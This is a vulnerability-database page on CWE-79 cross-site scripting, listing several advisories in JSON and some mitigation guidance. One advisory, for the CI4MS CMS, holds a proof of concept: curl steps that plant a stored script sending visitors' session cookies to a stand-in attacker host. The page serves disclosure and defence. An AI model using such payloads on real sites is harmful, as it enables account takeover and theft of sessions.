CWE-79
AllowedImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Abstraction: Base · Status: Stable
The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.
68993 vulnerabilities reference this CWE, most recent first.
GHSA-GQMJ-F46X-WQHW
Vulnerability from github – Published: 2022-05-14 03:40 – Updated: 2024-04-24 17:17Cross-site scripting (XSS) vulnerability in db_central_columns.php in phpMyAdmin before 4.7.8 allows remote authenticated users to inject arbitrary web script or HTML via a crafted URL.
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "phpmyadmin/phpmyadmin"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.7.8"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2018-7260"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": true,
"github_reviewed_at": "2024-04-24T17:17:11Z",
"nvd_published_at": "2018-02-21T15:29:00Z",
"severity": "MODERATE"
},
"details": "Cross-site scripting (XSS) vulnerability in db_central_columns.php in phpMyAdmin before 4.7.8 allows remote authenticated users to inject arbitrary web script or HTML via a crafted URL.",
"id": "GHSA-gqmj-f46x-wqhw",
"modified": "2024-04-24T17:17:12Z",
"published": "2022-05-14T03:40:06Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-7260"
},
{
"type": "WEB",
"url": "https://github.com/phpmyadmin/phpmyadmin/commit/d2886a3"
},
{
"type": "PACKAGE",
"url": "https://github.com/phpmyadmin/composer"
},
{
"type": "WEB",
"url": "https://udiniya.wordpress.com/2018/02/21/a-tale-of-stealing-session-cookie-in-phpmyadmin"
},
{
"type": "WEB",
"url": "https://www.phpmyadmin.net/security/PMASA-2018-1"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/103099"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "phpMyAdmin Cross-site scripting (XSS) vulnerability in central columns feature"
}
GHSA-GQP5-7WWF-V82X
Vulnerability from github – Published: 2026-08-08 09:30 – Updated: 2026-08-10 21:31The Link Library WordPress plugin before 7.9.4 does not sanitise and escape a parameter before reflecting it back in a response, allowing unauthenticated attackers to perform Reflected Cross-Site Scripting attacks against users who can be tricked into performing an action.
{
"affected": [],
"aliases": [
"CVE-2026-16535"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-08-08T07:17:10Z",
"severity": "MODERATE"
},
"details": "The Link Library WordPress plugin before 7.9.4 does not sanitise and escape a parameter before reflecting it back in a response, allowing unauthenticated attackers to perform Reflected Cross-Site Scripting attacks against users who can be tricked into performing an action.",
"id": "GHSA-gqp5-7wwf-v82x",
"modified": "2026-08-10T21:31:58Z",
"published": "2026-08-08T09:30:21Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-16535"
},
{
"type": "WEB",
"url": "https://wpscan.com/vulnerability/3b6c0efb-c503-437a-8f9b-f8a8c032313c"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-GQPH-HFC4-8P6V
Vulnerability from github – Published: 2026-01-22 18:30 – Updated: 2026-01-27 00:31Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in LambertGroup Magic Responsive Slider and Carousel WordPress magic_carousel allows Reflected XSS.This issue affects Magic Responsive Slider and Carousel WordPress: from n/a through <= 1.6.
{
"affected": [],
"aliases": [
"CVE-2025-49043"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-01-22T17:15:55Z",
"severity": "MODERATE"
},
"details": "Improper Neutralization of Input During Web Page Generation (\u0027Cross-site Scripting\u0027) vulnerability in LambertGroup Magic Responsive Slider and Carousel WordPress magic_carousel allows Reflected XSS.This issue affects Magic Responsive Slider and Carousel WordPress: from n/a through \u003c= 1.6.",
"id": "GHSA-gqph-hfc4-8p6v",
"modified": "2026-01-27T00:31:09Z",
"published": "2026-01-22T18:30:32Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-49043"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/Wordpress/Plugin/magic_carousel/vulnerability/wordpress-magic-responsive-slider-and-carousel-wordpress-plugin-1-6-reflected-cross-site-scripting-xss-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-GQPX-99V5-R9G9
Vulnerability from github – Published: 2022-05-14 02:39 – Updated: 2022-05-14 02:39Multiple cross-site scripting (XSS) vulnerabilities in World Recipe 2.11 allow remote attackers to inject arbitrary web script or HTML via the (1) n parameter to emailrecipe.aspx, (2) id parameter to recipedetail.aspx, and the (3) catid parameter to validatefieldlength.aspx.
{
"affected": [],
"aliases": [
"CVE-2008-6056"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2009-02-04T15:30:00Z",
"severity": "MODERATE"
},
"details": "Multiple cross-site scripting (XSS) vulnerabilities in World Recipe 2.11 allow remote attackers to inject arbitrary web script or HTML via the (1) n parameter to emailrecipe.aspx, (2) id parameter to recipedetail.aspx, and the (3) catid parameter to validatefieldlength.aspx.",
"id": "GHSA-gqpx-99v5-r9g9",
"modified": "2022-05-14T02:39:15Z",
"published": "2022-05-14T02:39:15Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2008-6056"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/47366"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/archive/1/499217/100/0/threaded"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/32837"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-GQQ3-RPHM-WJHV
Vulnerability from github – Published: 2022-04-09 00:00 – Updated: 2022-04-14 00:00Zoho ManageEngine ADSelfService Plus before 6121 allows XSS via the welcome name attribute to the Reset Password, Unlock Account, or User Must Change Password screen.
{
"affected": [],
"aliases": [
"CVE-2022-24681"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-04-07T22:15:00Z",
"severity": "MODERATE"
},
"details": "Zoho ManageEngine ADSelfService Plus before 6121 allows XSS via the welcome name attribute to the Reset Password, Unlock Account, or User Must Change Password screen.",
"id": "GHSA-gqq3-rphm-wjhv",
"modified": "2022-04-14T00:00:27Z",
"published": "2022-04-09T00:00:29Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-24681"
},
{
"type": "WEB",
"url": "https://manageengine.com"
},
{
"type": "WEB",
"url": "https://raxis.com/blog/cve-2022-24681"
},
{
"type": "WEB",
"url": "https://www.manageengine.com/products/self-service-password/kb/CVE-2022-24681.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-GQQ4-JJC3-HG4C
Vulnerability from github – Published: 2022-05-14 02:53 – Updated: 2022-05-14 02:53Multiple cross-site scripting (XSS) vulnerabilities in IBM Maximo Asset Management 6.2 through 6.2.8, 6.x and 7.1 through 7.1.1.2, and 7.5 through 7.5.0.6; Maximo Asset Management 7.5 through 7.5.0.3 and 7.5.1 through 7.5.1.2 for SmartCloud Control Desk; and Maximo Asset Management 6.2 through 6.2.8, 7.1 through 7.1.1.2, and 7.2 for Tivoli Asset Management for IT and certain other products allow remote authenticated users to inject arbitrary web script or HTML via (1) the KPI display name field or (2) a portlet field.
{
"affected": [],
"aliases": [
"CVE-2014-0915"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2014-07-30T11:15:00Z",
"severity": "LOW"
},
"details": "Multiple cross-site scripting (XSS) vulnerabilities in IBM Maximo Asset Management 6.2 through 6.2.8, 6.x and 7.1 through 7.1.1.2, and 7.5 through 7.5.0.6; Maximo Asset Management 7.5 through 7.5.0.3 and 7.5.1 through 7.5.1.2 for SmartCloud Control Desk; and Maximo Asset Management 6.2 through 6.2.8, 7.1 through 7.1.1.2, and 7.2 for Tivoli Asset Management for IT and certain other products allow remote authenticated users to inject arbitrary web script or HTML via (1) the KPI display name field or (2) a portlet field.",
"id": "GHSA-gqq4-jjc3-hg4c",
"modified": "2022-05-14T02:53:40Z",
"published": "2022-05-14T02:53:40Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2014-0915"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/91884"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/59570"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/59640"
},
{
"type": "WEB",
"url": "http://www-01.ibm.com/support/docview.wss?uid=swg1IV56680"
},
{
"type": "WEB",
"url": "http://www-01.ibm.com/support/docview.wss?uid=swg21678894"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/archive/1/533110/100/0/threaded"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-GQQP-X5QV-896X
Vulnerability from github – Published: 2026-01-16 00:30 – Updated: 2026-01-16 00:30Cotonti Siena 0.9.19 contains a stored cross-site scripting vulnerability in the admin configuration panel's site title parameter. Attackers can inject malicious JavaScript code through the 'maintitle' parameter to execute scripts when administrators view the page.
{
"affected": [],
"aliases": [
"CVE-2021-47808"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-01-16T00:16:25Z",
"severity": "MODERATE"
},
"details": "Cotonti Siena 0.9.19 contains a stored cross-site scripting vulnerability in the admin configuration panel\u0027s site title parameter. Attackers can inject malicious JavaScript code through the \u0027maintitle\u0027 parameter to execute scripts when administrators view the page.",
"id": "GHSA-gqqp-x5qv-896x",
"modified": "2026-01-16T00:30:55Z",
"published": "2026-01-16T00:30:55Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-47808"
},
{
"type": "WEB",
"url": "https://cotonti.com"
},
{
"type": "WEB",
"url": "https://www.cotonti.com/download"
},
{
"type": "WEB",
"url": "https://www.exploit-db.com/exploits/50016"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/cotonti-siena-maintitle-stored-cross-site-scripting"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-GQQX-QFHJ-4FX6
Vulnerability from github – Published: 2025-04-01 15:31 – Updated: 2026-04-01 18:34Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Binsaifullah Posten allows DOM-Based XSS. This issue affects Posten: from n/a through 0.0.1.
{
"affected": [],
"aliases": [
"CVE-2025-31790"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-04-01T15:16:17Z",
"severity": "MODERATE"
},
"details": "Improper Neutralization of Input During Web Page Generation (\u0027Cross-site Scripting\u0027) vulnerability in Binsaifullah Posten allows DOM-Based XSS. This issue affects Posten: from n/a through 0.0.1.",
"id": "GHSA-gqqx-qfhj-4fx6",
"modified": "2026-04-01T18:34:20Z",
"published": "2025-04-01T15:31:40Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-31790"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/wordpress/plugin/posten-post-blocks/vulnerability/wordpress-posten-plugin-0-0-1-cross-site-scripting-xss-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-GQR2-7HCG-RCHF
Vulnerability from github – Published: 2026-05-18 16:23 – Updated: 2026-05-18 16:23Summary
The Pages backend module registers the html_purify validation rule on language-keyed page content but persists the raw, un-purified POST value into the database. The public renderer for pages (Home::index() → app/Views/templates/default/pages.php) emits $pageInfo->content without esc(), yielding stored XSS that fires for every public visitor of the affected page — including administrators. Because pages may be promoted to the site home page, the payload can be served at / and reach every visitor of the site.
Details
This is a sibling-module variant of the same root cause as the Blog stored-XSS issue. The html_purify custom rule (modules/Backend/Validation/CustomRules.php:54) mutates its first argument by reference:
public function html_purify(?string &$str = null, ?string &$error = null): bool
{
...
$clean = self::sanitizeHtml($str);
$str = $clean;
self::$cleanCache[md5((string)$str)] = $clean;
return true;
}
CodeIgniter 4's Validation::processRules() (vendor/codeigniter4/framework/system/Validation/Validation.php:344) invokes the rule as $set->{$rule}($value, $error) where $value is a local copy populated from request data. Even though the rule signature accepts $str by reference, the mutation only updates the local $value inside processRules(); the original POST array (and the request body) are never modified. To get the sanitized output, controllers must call CustomRules::getClean(...) after validation — but no controller in the codebase does so.
Pages controller — modules/Pages/Controllers/Pages.php:
Pages::create()registers the rule at line 82:php 'lang.*.content' => ['label' => lang('Backend.content'), 'rules' => 'required|html_purify'],Then at lines 102–113 it reads the raw POST and inserts it untouched:php $langsData = $this->request->getPost('lang') ?? []; ... $this->commonModel->create('pages_langs', [ ... 'content' => $lData['content'], // line 111 — RAW ... ]);Pages::update()mirrors the same pattern at lines 130 and 157:php 'lang.*.content' => ['label' => lang('Backend.content'), 'rules' => 'required|html_purify'], // line 130 ... 'content' => $lData['content'], // line 157 — RAW
The row lands in pages_langs.content, which is then read by the public-facing Home::index() controller (app/Controllers/Home.php:31-76) and emitted by the template at app/Views/templates/default/pages.php:32:
<div id="ci4ms-content">
<?php echo $pageInfo->content ?> // no esc(), raw HTML output
</div>
CommonLibrary::parseInTextFunctions() (app/Libraries/CommonLibrary.php:45) is called on $pageInfo->content first, but only handles {{form=...}} / {...|...} shortcode-style replacement — it does no HTML sanitization.
This is distinct from the Blog finding:
- Different module/controller (Modules\Pages\Controllers\Pages vs Modules\Blog\Controllers\Blog)
- Different table (pages_langs.content vs blog_langs.content)
- Different view file (templates/{theme}/pages.php vs templates/{theme}/blog/post.php)
- Different route (/<seflink> matched by Home::index vs /blog/<seflink>)
- Pages can be promoted to the site home page via Pages::setHomePage (modules/Pages/Controllers/Pages.php:206), broadening blast radius beyond a single slug to every visitor of /.
Routes are confirmed protected by backendGuard for authentication (modules/Pages/Config/PagesConfig.php:12-17) and require pages.create / pages.update Shield permissions (modules/Pages/Config/Routes.php:4-5).
PoC
Prerequisite: an account with the pages.create (or pages.update) permission. In ci4ms this is a non-admin content-author role.
Step 1 — log in to backend, capture cookies:
curl -k -c cookies.txt -b cookies.txt -X POST https://target/login \
-d 'email=author@example.com' -d 'password=AuthorPass1!'
Step 2 — create a page with a malicious content payload:
curl -k -b cookies.txt -X POST https://target/backend/pages/create \
-d 'lang[en][title]=POC' \
-d 'lang[en][seflink]=poc-page-xss' \
-d 'lang[en][content]=<script>fetch("https://attacker.example/?c="+encodeURIComponent(document.cookie))</script>' \
-d 'isActive=1'
Expected: redirect to /backend/pages/1 with lang('Backend.created') flashdata. The DB row pages_langs.content contains the literal <script>...</script> payload.
Step 3 — trigger the XSS by visiting the public URL:
https://target/poc-page-xss
Home::index() selects the row, pages.php:32 emits the raw <script> tag, and the payload runs in every visitor's browser context. If a logged-in administrator browses the public site or follows a link to this slug, their backend session cookie is exfiltrated to attacker.example, enabling full account takeover.
Step 4 — broaden blast radius (optional, requires pages.update):
curl -k -b cookies.txt -X POST https://target/backend/pages/setHomePage/<page_id> \
-H 'X-Requested-With: XMLHttpRequest'
After this, the malicious page is served at / to every visitor, including unauthenticated visitors and admins navigating to the front-end.
Impact
- Stored XSS in public-facing site: any visitor to a malicious page slug — or to
/if the page is set as home — executes the attacker's JavaScript. - Admin account takeover: an authenticated admin who loads the public page (common during normal site review) leaks their Shield session cookie / CSRF token, enabling the attacker to ride the session against the entire
/backend/*surface (full CMS administration, user management, file editor, backups, theme upload). - Privilege escalation: the attacker only needs
pages.create(a role typically delegated to non-admin content authors), but obtains code execution in the admin's browser, escaping the content-author security boundary into the admin's. This is the rationale for S:C in the CVSS vector. - Persistence and broad reach: the payload is database-backed and survives until the row is edited or deleted; the home-page promotion converts a single-slug XSS into a site-wide drive-by.
Recommended Fix
Stop relying on the broken reference-mutation pattern. The simplest, safest fix is to call the existing sanitizeHtml / getClean helper explicitly when persisting the content. In modules/Pages/Controllers/Pages.php:
use Modules\Backend\Validation\CustomRules;
// Pages::create() — replace line 111
$this->commonModel->create('pages_langs', [
'pages_id' => $insertID,
'lang' => $langCode,
'title' => strip_tags(trim($lData['title'])),
'seflink' => strip_tags(trim($lData['seflink'])),
'content' => CustomRules::sanitizeHtml((string)($lData['content'] ?? '')),
'seo' => $seoData
]);
// Pages::update() — replace line 157
$langUpdate = [
'title' => strip_tags(trim($lData['title'])),
'seflink' => strip_tags(trim($lData['seflink'])),
'content' => CustomRules::sanitizeHtml((string)($lData['content'] ?? '')),
'seo' => $seoData
];
Apply the same pattern in every other module that uses html_purify (Blog, etc.). For defense-in-depth, also escape on output for any field that is not intended to be raw HTML, and consider rewriting the html_purify rule to operate on $data so the validator stores the sanitized result via getValidated() rather than relying on a reference mutation that the framework discards.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.31.8.0"
},
"package": {
"ecosystem": "Packagist",
"name": "ci4-cms-erp/ci4ms"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.31.9.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-45270"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-18T16:23:34Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "## Summary\n\nThe `Pages` backend module registers the `html_purify` validation rule on language-keyed page content but persists the raw, un-purified POST value into the database. The public renderer for pages (`Home::index()` \u2192 `app/Views/templates/default/pages.php`) emits `$pageInfo-\u003econtent` without `esc()`, yielding stored XSS that fires for every public visitor of the affected page \u2014 including administrators. Because pages may be promoted to the site home page, the payload can be served at `/` and reach every visitor of the site.\n\n## Details\n\nThis is a sibling-module variant of the same root cause as the Blog stored-XSS issue. The `html_purify` custom rule (`modules/Backend/Validation/CustomRules.php:54`) mutates its first argument by reference:\n\n```php\npublic function html_purify(?string \u0026$str = null, ?string \u0026$error = null): bool\n{\n ...\n $clean = self::sanitizeHtml($str);\n $str = $clean;\n self::$cleanCache[md5((string)$str)] = $clean;\n return true;\n}\n```\n\nCodeIgniter 4\u0027s `Validation::processRules()` (`vendor/codeigniter4/framework/system/Validation/Validation.php:344`) invokes the rule as `$set-\u003e{$rule}($value, $error)` where `$value` is a local copy populated from request data. Even though the rule signature accepts `$str` by reference, the mutation only updates the local `$value` inside `processRules()`; the original POST array (and the request body) are never modified. To get the sanitized output, controllers must call `CustomRules::getClean(...)` after validation \u2014 but no controller in the codebase does so.\n\nPages controller \u2014 `modules/Pages/Controllers/Pages.php`:\n\n- `Pages::create()` registers the rule at line 82:\n ```php\n \u0027lang.*.content\u0027 =\u003e [\u0027label\u0027 =\u003e lang(\u0027Backend.content\u0027), \u0027rules\u0027 =\u003e \u0027required|html_purify\u0027],\n ```\n Then at lines 102\u2013113 it reads the raw POST and inserts it untouched:\n ```php\n $langsData = $this-\u003erequest-\u003egetPost(\u0027lang\u0027) ?? [];\n ...\n $this-\u003ecommonModel-\u003ecreate(\u0027pages_langs\u0027, [\n ...\n \u0027content\u0027 =\u003e $lData[\u0027content\u0027], // line 111 \u2014 RAW\n ...\n ]);\n ```\n- `Pages::update()` mirrors the same pattern at lines 130 and 157:\n ```php\n \u0027lang.*.content\u0027 =\u003e [\u0027label\u0027 =\u003e lang(\u0027Backend.content\u0027), \u0027rules\u0027 =\u003e \u0027required|html_purify\u0027], // line 130\n ...\n \u0027content\u0027 =\u003e $lData[\u0027content\u0027], // line 157 \u2014 RAW\n ```\n\nThe row lands in `pages_langs.content`, which is then read by the public-facing `Home::index()` controller (`app/Controllers/Home.php:31-76`) and emitted by the template at `app/Views/templates/default/pages.php:32`:\n\n```php\n\u003cdiv id=\"ci4ms-content\"\u003e\n \u003c?php echo $pageInfo-\u003econtent ?\u003e // no esc(), raw HTML output\n\u003c/div\u003e\n```\n\n`CommonLibrary::parseInTextFunctions()` (`app/Libraries/CommonLibrary.php:45`) is called on `$pageInfo-\u003econtent` first, but only handles `{{form=...}}` / `{...|...}` shortcode-style replacement \u2014 it does no HTML sanitization.\n\nThis is distinct from the Blog finding:\n- Different module/controller (`Modules\\Pages\\Controllers\\Pages` vs `Modules\\Blog\\Controllers\\Blog`)\n- Different table (`pages_langs.content` vs `blog_langs.content`)\n- Different view file (`templates/{theme}/pages.php` vs `templates/{theme}/blog/post.php`)\n- Different route (`/\u003cseflink\u003e` matched by `Home::index` vs `/blog/\u003cseflink\u003e`)\n- Pages can be promoted to the site home page via `Pages::setHomePage` (`modules/Pages/Controllers/Pages.php:206`), broadening blast radius beyond a single slug to every visitor of `/`.\n\nRoutes are confirmed protected by `backendGuard` for authentication (`modules/Pages/Config/PagesConfig.php:12-17`) and require `pages.create` / `pages.update` Shield permissions (`modules/Pages/Config/Routes.php:4-5`).\n\n## PoC\n\nPrerequisite: an account with the `pages.create` (or `pages.update`) permission. In ci4ms this is a non-admin content-author role.\n\nStep 1 \u2014 log in to backend, capture cookies:\n```bash\ncurl -k -c cookies.txt -b cookies.txt -X POST https://target/login \\\n -d \u0027email=author@example.com\u0027 -d \u0027password=AuthorPass1!\u0027\n```\n\nStep 2 \u2014 create a page with a malicious `content` payload:\n```bash\ncurl -k -b cookies.txt -X POST https://target/backend/pages/create \\\n -d \u0027lang[en][title]=POC\u0027 \\\n -d \u0027lang[en][seflink]=poc-page-xss\u0027 \\\n -d \u0027lang[en][content]=\u003cscript\u003efetch(\"https://attacker.example/?c=\"+encodeURIComponent(document.cookie))\u003c/script\u003e\u0027 \\\n -d \u0027isActive=1\u0027\n```\n\nExpected: redirect to `/backend/pages/1` with `lang(\u0027Backend.created\u0027)` flashdata. The DB row `pages_langs.content` contains the literal `\u003cscript\u003e...\u003c/script\u003e` payload.\n\nStep 3 \u2014 trigger the XSS by visiting the public URL:\n```\nhttps://target/poc-page-xss\n```\n\n`Home::index()` selects the row, `pages.php:32` emits the raw `\u003cscript\u003e` tag, and the payload runs in every visitor\u0027s browser context. If a logged-in administrator browses the public site or follows a link to this slug, their backend session cookie is exfiltrated to `attacker.example`, enabling full account takeover.\n\nStep 4 \u2014 broaden blast radius (optional, requires `pages.update`):\n```bash\ncurl -k -b cookies.txt -X POST https://target/backend/pages/setHomePage/\u003cpage_id\u003e \\\n -H \u0027X-Requested-With: XMLHttpRequest\u0027\n```\n\nAfter this, the malicious page is served at `/` to every visitor, including unauthenticated visitors and admins navigating to the front-end.\n\n## Impact\n\n- **Stored XSS in public-facing site:** any visitor to a malicious page slug \u2014 or to `/` if the page is set as home \u2014 executes the attacker\u0027s JavaScript.\n- **Admin account takeover:** an authenticated admin who loads the public page (common during normal site review) leaks their Shield session cookie / CSRF token, enabling the attacker to ride the session against the entire `/backend/*` surface (full CMS administration, user management, file editor, backups, theme upload).\n- **Privilege escalation:** the attacker only needs `pages.create` (a role typically delegated to non-admin content authors), but obtains code execution in the admin\u0027s browser, escaping the content-author security boundary into the admin\u0027s. This is the rationale for **S:C** in the CVSS vector.\n- **Persistence and broad reach:** the payload is database-backed and survives until the row is edited or deleted; the home-page promotion converts a single-slug XSS into a site-wide drive-by.\n\n## Recommended Fix\n\nStop relying on the broken reference-mutation pattern. The simplest, safest fix is to call the existing `sanitizeHtml` / `getClean` helper explicitly when persisting the content. In `modules/Pages/Controllers/Pages.php`:\n\n```php\nuse Modules\\Backend\\Validation\\CustomRules;\n\n// Pages::create() \u2014 replace line 111\n$this-\u003ecommonModel-\u003ecreate(\u0027pages_langs\u0027, [\n \u0027pages_id\u0027 =\u003e $insertID,\n \u0027lang\u0027 =\u003e $langCode,\n \u0027title\u0027 =\u003e strip_tags(trim($lData[\u0027title\u0027])),\n \u0027seflink\u0027 =\u003e strip_tags(trim($lData[\u0027seflink\u0027])),\n \u0027content\u0027 =\u003e CustomRules::sanitizeHtml((string)($lData[\u0027content\u0027] ?? \u0027\u0027)),\n \u0027seo\u0027 =\u003e $seoData\n]);\n\n// Pages::update() \u2014 replace line 157\n$langUpdate = [\n \u0027title\u0027 =\u003e strip_tags(trim($lData[\u0027title\u0027])),\n \u0027seflink\u0027 =\u003e strip_tags(trim($lData[\u0027seflink\u0027])),\n \u0027content\u0027 =\u003e CustomRules::sanitizeHtml((string)($lData[\u0027content\u0027] ?? \u0027\u0027)),\n \u0027seo\u0027 =\u003e $seoData\n];\n```\n\nApply the same pattern in every other module that uses `html_purify` (Blog, etc.). For defense-in-depth, also escape on output for any field that is not intended to be raw HTML, and consider rewriting the `html_purify` rule to operate on `$data` so the validator stores the sanitized result via `getValidated()` rather than relying on a reference mutation that the framework discards.",
"id": "GHSA-gqr2-7hcg-rchf",
"modified": "2026-05-18T16:23:34Z",
"published": "2026-05-18T16:23:34Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/ci4-cms-erp/ci4ms/security/advisories/GHSA-gqr2-7hcg-rchf"
},
{
"type": "PACKAGE",
"url": "https://github.com/ci4-cms-erp/ci4ms"
},
{
"type": "WEB",
"url": "https://github.com/ci4-cms-erp/ci4ms/releases/tag/0.31.9.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "CI4MS: Stored XSS in Pages Module Content via Broken html_purify Validation Rule"
}
GHSA-GQR4-CVF4-3957
Vulnerability from github – Published: 2023-06-20 15:31 – Updated: 2024-12-10 20:55Cross Site Scripting vulnerability in YiiCMS v.1.2.0 and prior allows a remote attacker to execute arbitrary code via the news function.
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "sheng/yiicms"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.2.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2020-21246"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": true,
"github_reviewed_at": "2023-06-21T22:09:54Z",
"nvd_published_at": "2023-06-20T15:15:11Z",
"severity": "MODERATE"
},
"details": "Cross Site Scripting vulnerability in YiiCMS v.1.2.0 and prior allows a remote attacker to execute arbitrary code via the news function.",
"id": "GHSA-gqr4-cvf4-3957",
"modified": "2024-12-10T20:55:53Z",
"published": "2023-06-20T15:31:08Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-21246"
},
{
"type": "WEB",
"url": "https://github.com/yongshengli/yiicms/issues/6"
},
{
"type": "WEB",
"url": "https://github.com/yongshengli/yiicms/commit/4a9d68564eb78d9f64e3f5dd77186a154093615b"
},
{
"type": "PACKAGE",
"url": "https://github.com/yongshengli/yiicms"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "YiiCMS Cross Site Scripting vulnerability"
}
Mitigation MIT-4
Strategy: Libraries or Frameworks
- Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].
- Examples of libraries and frameworks that make it easier to generate properly encoded output include Microsoft's Anti-XSS library, the OWASP ESAPI Encoding module, and Apache Wicket.
Mitigation
- Understand the context in which your data will be used and the encoding that will be expected. This is especially important when transmitting data between different components, or when generating outputs that can contain multiple encodings at the same time, such as web pages or multi-part mail messages. Study all expected communication protocols and data representations to determine the required encoding strategies.
- For any data that will be output to another web page, especially any data that was received from external inputs, use the appropriate encoding on all non-alphanumeric characters.
- Parts of the same output document may require different encodings, which will vary depending on whether the output is in the:
- etc. Note that HTML Entity Encoding is only appropriate for the HTML body.
- Consult the XSS Prevention Cheat Sheet [REF-724] for more details on the types of encoding and escaping that are needed.
- HTML body
- Element attributes (such as src="XYZ")
- URIs
- JavaScript sections
- Cascading Style Sheets and style property
Mitigation MIT-6
Strategy: Attack Surface Reduction
Understand all the potential areas where untrusted inputs can enter your software: parameters or arguments, cookies, anything read from the network, environment variables, reverse DNS lookups, query results, request headers, URL components, e-mail, files, filenames, databases, and any external systems that provide data to the application. Remember that such inputs may be obtained indirectly through API calls.
Mitigation MIT-15
